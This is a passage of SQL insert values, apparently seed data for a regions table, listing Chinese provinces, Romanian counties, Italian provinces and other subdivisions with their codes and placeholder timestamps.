0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (157, 1, 44, 0, 'Shandong', 'SNG', '37', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (158, 1, 44, 0, 'Shanghai', 'SHH', '31', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (159, 1, 44, 0, 'Shaanxi', 'SHX', '61', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (160, 1, 44, 0, 'Sichuan', 'SIC', '51', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (161, 1, 44, 0, 'Tianjin', 'TIA', '12', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (162, 1, 44, 0, 'Xinjiang Uygur', 'XIU', '65', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (163, 1, 44, 0, 'Xizang', 'XIZ', '54', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (164, 1, 44, 0, 'Yunnan', 'YUN', '53', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (165, 1, 44, 0, 'Zhejiang', 'ZHE', '33', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (166, 1, 104, 0, 'Israel', 'ISL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (167, 1, 104, 0, 'Gaza Strip', 'GZS', 'GZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (168, 1, 104, 0, 'West Bank', 'WBK', 'WB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (169, 1, 151, 0, 'St. Maarten', 'STM', 'SM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (170, 1, 151, 0, 'Bonaire', 'BNR', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (171, 1, 151, 0, 'Curacao', 'CUR', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (172, 1, 175, 0, 'Alba', 'ABA', 'AB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (173, 1, 175, 0, 'Arad', 'ARD', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (174, 1, 175, 0, 'Arges', 'ARG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (175, 1, 175, 0, 'Bacau', 'BAC', 'BC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (176, 1, 175, 0, 'Bihor', 'BIH', 'BH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (177, 1, 175, 0, 'Bistrita-Nasaud', 'BIS', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (178, 1, 175, 0, 'Botosani', 'BOT', 'BT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (179, 1, 175, 0, 'Braila', 'BRL', 'BR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (180, 1, 175, 0, 'Brasov', 'BRA', 'BV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (181, 1, 175, 0, 'Bucuresti', 'BUC', 'B', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (182, 1, 175, 0, 'Buzau', 'BUZ', 'BZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (183, 1, 175, 0, 'Calarasi', 'CAL', 'CL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (184, 1, 175, 0, 'Caras Severin', 'CRS', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (185, 1, 175, 0, 'Cluj', 'CLJ', 'CJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (186, 1, 175, 0, 'Constanta', 'CST', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (187, 1, 175, 0, 'Covasna', 'COV', 'CV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (188, 1, 175, 0, 'Dambovita', 'DAM', 'DB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (189, 1, 175, 0, 'Dolj', 'DLJ', 'DJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (190, 1, 175, 0, 'Galati', 'GAL', 'GL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (191, 1, 175, 0, 'Giurgiu', 'GIU', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (192, 1, 175, 0, 'Gorj', 'GOR', 'GJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (193, 1, 175, 0, 'Hargita', 'HRG', 'HR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (194, 1, 175, 0, 'Hunedoara', 'HUN', 'HD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (195, 1, 175, 0, 'Ialomita', 'IAL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (196, 1, 175, 0, 'Iasi', 'IAS', 'IS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (197, 1, 175, 0, 'Ilfov', 'ILF', 'IF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (198, 1, 175, 0, 'Maramures', 'MAR', 'MM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (199, 1, 175, 0, 'Mehedinti', 'MEH', 'MH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (200, 1, 175, 0, 'Mures', 'MUR', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (201, 1, 175, 0, 'Neamt', 'NEM', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (202, 1, 175, 0, 'Olt', 'OLT', 'OT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (203, 1, 175, 0, 'Prahova', 'PRA', 'PH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (204, 1, 175, 0, 'Salaj', 'SAL', 'SJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (205, 1, 175, 0, 'Satu Mare', 'SAT', 'SM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (206, 1, 175, 0, 'Sibiu', 'SIB', 'SB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (207, 1, 175, 0, 'Suceava', 'SUC', 'SV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (208, 1, 175, 0, 'Teleorman', 'TEL', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (209, 1, 175, 0, 'Timis', 'TIM', 'TM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (210, 1, 175, 0, 'Tulcea', 'TUL', 'TL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (211, 1, 175, 0, 'Valcea', 'VAL', 'VL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (212, 1, 175, 0, 'Vaslui', 'VAS', 'VS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (213, 1, 175, 0, 'Vrancea', 'VRA', 'VN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (214, 1, 105, 0, 'Agrigento', 'AGR', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (215, 1, 105, 0, 'Alessandria', 'ALE', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (216, 1, 105, 0, 'Ancona', 'ANC', 'AN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (217, 1, 105, 0, 'Aosta', 'AOS', 'AO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (218, 1, 105, 0, 'Arezzo', 'ARE', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (219, 1, 105, 0, 'Ascoli Piceno', 'API', 'AP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (220, 1, 105, 0, 'Asti', 'AST', 'AT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (221, 1, 105, 0, 'Avellino', 'AVE', 'AV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (222, 1, 105, 0, 'Bari', 'BAR', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (223, 1, 105, 0, 'Belluno', 'BEL', 'BL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (224, 1, 105, 0, 'Benevento', 'BEN', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (225, 1, 105, 0, 'Bergamo', 'BEG', 'BG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (226, 1, 105, 0, 'Biella', 'BIE', 'BI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (227, 1, 105, 0, 'Bologna', 'BOL', 'BO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (228, 1, 105, 0, 'Bolzano', 'BOZ', 'BZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (229, 1, 105, 0, 'Brescia', 'BRE', 'BS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (230, 1, 105, 0, 'Brindisi', 'BRI', 'BR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (231, 1, 105, 0, 'Cagliari', 'CAG', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (232, 1, 105, 0, 'Caltanissetta', 'CAL', 'CL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (233, 1, 105, 0, 'Campobasso', 'CBO', 'CB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (234, 1, 105, 0, 'Carbonia-Iglesias', 'CAR', 'CI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (235, 1, 105, 0, 'Caserta', 'CAS', 'CE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (236, 1, 105, 0, 'Catania', 'CAT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (237, 1, 105, 0, 'Catanzaro', 'CTZ', 'CZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (238, 1, 105, 0, 'Chieti', 'CHI', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (239, 1, 105, 0, 'Como', 'COM', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (240, 1, 105, 0, 'Cosenza', 'COS', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (241, 1, 105, 0, 'Cremona', 'CRE', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (242, 1, 105, 0, 'Crotone', 'CRO', 'KR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (243, 1, 105, 0, 'Cuneo', 'CUN', 'CN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (244, 1, 105, 0, 'Enna', 'ENN', 'EN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (245, 1, 105, 0, 'Ferrara', 'FER', 'FE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (246, 1, 105, 0, 'Firenze', 'FIR', 'FI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (247, 1, 105, 0, 'Foggia', 'FOG', 'FG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (248, 1, 105, 0, 'Forli-Cesena', 'FOC', 'FC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (249, 1, 105, 0, 'Frosinone', 'FRO', 'FR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (250, 1, 105, 0, 'Genova', 'GEN', 'GE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (251, 1, 105, 0, 'Gorizia', 'GOR', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (252, 1, 105, 0, 'Grosseto', 'GRO', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (253, 1, 105, 0, 'Imperia', 'IMP', 'IM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (254, 1, 105, 0, 'Isernia', 'ISE', 'IS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (255, 1, 105, 0, 'L\'Aquila', 'AQU', 'AQ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (256, 1, 105, 0, 'La Spezia', 'LAS', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (257, 1, 105, 0, 'Latina', 'LAT', 'LT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (258, 1, 105, 0, 'Lecce', 'LEC', 'LE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (259, 1, 105, 0, 'Lecco', 'LCC', 'LC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (260, 1, 105, 0, 'Livorno', 'LIV', 'LI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (261, 1, 105, 0, 'Lodi', 'LOD', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (262, 1, 105, 0, 'Lucca', 'LUC', 'LU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (263, 1, 105, 0, 'Macerata', 'MAC', 'MC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (264, 1, 105, 0, 'Mantova', 'MAN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (265, 1, 105, 0, 'Massa-Carrara', 'MAS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (266, 1, 105, 0, 'Matera', 'MAA', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (267, 1, 105, 0, 'Medio Campidano', 'MED', 'VS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (268, 1, 105, 0, 'Messina', 'MES', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (269, 1, 105, 0, 'Milano', 'MIL', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (270, 1, 105, 0, 'Modena', 'MOD', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (271, 1, 105, 0, 'Napoli', 'NAP', 'NA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (272, 1, 105, 0, 'Novara', 'NOV', 'NO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (273, 1, 105, 0, 'Nuoro', 'NUR', 'NU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (274, 1, 105, 0, 'Ogliastra', 'OGL', 'OG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (275, 1, 105, 0, 'Olbia-Tempio', 'OLB', 'OT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (276, 1, 105, 0, 'Oristano', 'ORI', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (277, 1, 105, 0, 'Padova', 'PDA', 'PD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (278, 1, 105, 0, 'Palermo', 'PAL', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (279, 1, 105, 0, 'Parma', 'PAA', 'PR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (280, 1, 105, 0, 'Pavia', 'PAV', 'PV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (281, 1, 105, 0, 'Perugia', 'PER', 'PG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (282, 1, 105, 0, 'Pesaro e Urbino', 'PES', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (283, 1, 105, 0, 'Pescara', 'PSC', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (284, 1, 105, 0, 'Piacenza', 'PIA', 'PC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (285, 1, 105, 0, 'Pisa', 'PIS', 'PI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (286, 1, 105, 0, 'Pistoia', 'PIT', 'PT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (287, 1, 105, 0, 'Pordenone', 'POR', 'PN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (288, 1, 105, 0, 'Potenza', 'PTZ', 'PZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (289, 1, 105, 0, 'Prato', 'PRA', 'PO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (290, 1, 105, 0, 'Ragusa', 'RAG', 'RG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (291, 1, 105, 0, 'Ravenna', 'RAV', 'RA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (292, 1, 105, 0, 'Reggio Calabria', 'REG', 'RC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (293, 1, 105, 0, 'Reggio Emilia', 'REE', 'RE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (294, 1, 105, 0, 'Rieti', 'RIE', 'RI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (295, 1, 105, 0, 'Rimini', 'RIM', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (296, 1, 105, 0, 'Roma', 'ROM', 'RM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (297, 1, 105, 0, 'Rovigo', 'ROV', 'RO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (298, 1, 105, 0, 'Salerno', 'SAL', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (299, 1, 105, 0, 'Sassari', 'SAS', 'SS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (300, 1, 105, 0, 'Savona', 'SAV', 'SV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (301, 1, 105, 0, 'Siena', 'SIE', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (302, 1, 105, 0, 'Siracusa', 'SIR', 'SR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (303, 1, 105, 0, 'Sondrio', 'SOO', 'SO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (304, 1, 105, 0, 'Taranto', 'TAR', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (305, 1, 105, 0, 'Teramo', 'TER', 'TE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (306, 1, 105, 0, 'Terni', 'TRN', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (307, 1, 105, 0, 'Torino', 'TOR', 'TO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (308, 1, 105, 0, 'Trapani', 'TRA', 'TP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (309, 1, 105, 0, 'Trento', 'TRE', 'TN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (310, 1, 105, 0, 'Treviso', 'TRV', 'TV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (311, 1, 105, 0, 'Trieste', 'TRI', 'TS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (312, 1, 105, 0, 'Udine', 'UDI', 'UD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (313, 1, 105, 0, 'Varese', 'VAR', 'VA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (314, 1, 105, 0, 'Venezia', 'VEN', 'VE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (315, 1, 105, 0, 'Verbano Cusio Ossola', 'VCO', 'VB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (316, 1, 105, 0, 'Vercelli', 'VER', 'VC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (317, 1, 105, 0, 'Verona', 'VRN', 'VR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (318, 1, 105, 0, 'Vibo Valenzia', 'VIV', 'VV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (319, 1, 105, 0, 'Vicenza', 'VII', 'VI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (320, 1, 105, 0, 'Viterbo', 'VIT', 'VT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (321, 1, 195, 0, 'A Coru', 'ACO', '15', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (322, 1, 195, 